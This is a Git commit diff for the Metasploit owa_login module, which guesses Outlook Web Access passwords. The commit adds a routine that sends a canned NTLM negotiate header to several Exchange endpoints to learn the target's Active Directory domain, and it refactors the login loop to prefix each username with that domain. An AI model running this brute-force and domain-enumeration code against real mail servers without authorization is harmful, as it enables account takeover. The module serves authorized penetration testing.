Land #2273, @kaospunk's enum domain feature for owa_login

bug/bundler_fix
jvazquez-r7 2013-10-28 09:47:54 -05:00
commit efcfc9eef7
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
1 changed files with 69 additions and 5 deletions

View File

@ -4,6 +4,7 @@
## ##
require 'msf/core' require 'msf/core'
require 'rex/proto/ntlm/message'
class Metasploit3 < Msf::Auxiliary class Metasploit3 < Msf::Auxiliary
@ -23,7 +24,8 @@ class Metasploit3 < Msf::Auxiliary
'Vitor Moreira', 'Vitor Moreira',
'Spencer McIntyre', 'Spencer McIntyre',
'SecureState R&D Team', 'SecureState R&D Team',
'sinn3r' 'sinn3r',
'Brandon Knight'
], ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Actions' => 'Actions' =>
@ -67,6 +69,7 @@ class Metasploit3 < Msf::Auxiliary
register_advanced_options( register_advanced_options(
[ [
OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']), OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']),
OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", false]),
OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]) OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true])
], self.class) ], self.class)
@ -111,18 +114,37 @@ class Metasploit3 < Msf::Auxiliary
inbox_path = action.opts['InboxPath'] inbox_path = action.opts['InboxPath']
login_check = action.opts['InboxCheck'] login_check = action.opts['InboxCheck']
domain = nil
if datastore['AD_DOMAIN'] and not datastore['AD_DOMAIN'].empty?
domain = datastore['AD_DOMAIN']
end
if ((datastore['AD_DOMAIN'].nil? or datastore['AD_DOMAIN'] == '') and datastore['ENUM_DOMAIN'])
domain = get_ad_domain
end
begin begin
each_user_pass do |user, pass| each_user_pass do |user, pass|
vprint_status("#{msg} Trying #{user} : #{pass}") vprint_status("#{msg} Trying #{user} : #{pass}")
try_user_pass(user, pass, auth_path, inbox_path, login_check, vhost) try_user_pass({"user" => user, "domain"=>domain, "pass"=>pass, "auth_path"=>auth_path, "inbox_path"=>inbox_path, "login_check"=>login_check, "vhost"=>vhost})
end end
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
print_error("#{msg} HTTP Connection Error, Aborting") print_error("#{msg} HTTP Connection Error, Aborting")
end end
end end
def try_user_pass(user, pass, auth_path, inbox_path, login_check, vhost) def try_user_pass(opts)
user = datastore['AD_DOMAIN'] + '\\' + user if datastore['AD_DOMAIN'] != '' user = opts["user"]
pass = opts["pass"]
auth_path = opts["auth_path"]
inbox_path = opts["inbox_path"]
login_check = opts["login_check"]
vhost = opts["vhost"]
domain = opts["domain"]
user = domain + '\\' + user if domain
headers = { headers = {
'Cookie' => 'PBack=0' 'Cookie' => 'PBack=0'
} }
@ -140,7 +162,7 @@ class Metasploit3 < Msf::Auxiliary
'method' => 'POST', 'method' => 'POST',
'headers' => headers, 'headers' => headers,
'data' => data 'data' => data
}, 25) })
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
print_error("#{msg} HTTP Connection Failed, Aborting") print_error("#{msg} HTTP Connection Failed, Aborting")
@ -204,8 +226,50 @@ class Metasploit3 < Msf::Auxiliary
end end
end end
def get_ad_domain
urls = ["aspnet_client",
"Autodiscover",
"ecp",
"EWS",
"Microsoft-Server-ActiveSync",
"OAB",
"PowerShell",
"Rpc"]
domain = nil
urls.each do |url|
begin
res = send_request_cgi({
'encode' => true,
'uri' => "/#{url}",
'method' => 'GET',
'headers' => {"Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="}
})
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
vprint_error("#{msg} HTTP Connection Failed")
next
end
if not res
vprint_error("#{msg} HTTP Connection Timeout")
next
end
if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i)
hash = res['WWW-Authenticate'].split('NTLM ')[1]
domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'')
print_good("Found target domain: " + domain)
return domain
end
end
return domain
end
def msg def msg
"#{vhost}:#{rport} OWA -" "#{vhost}:#{rport} OWA -"
end end
end end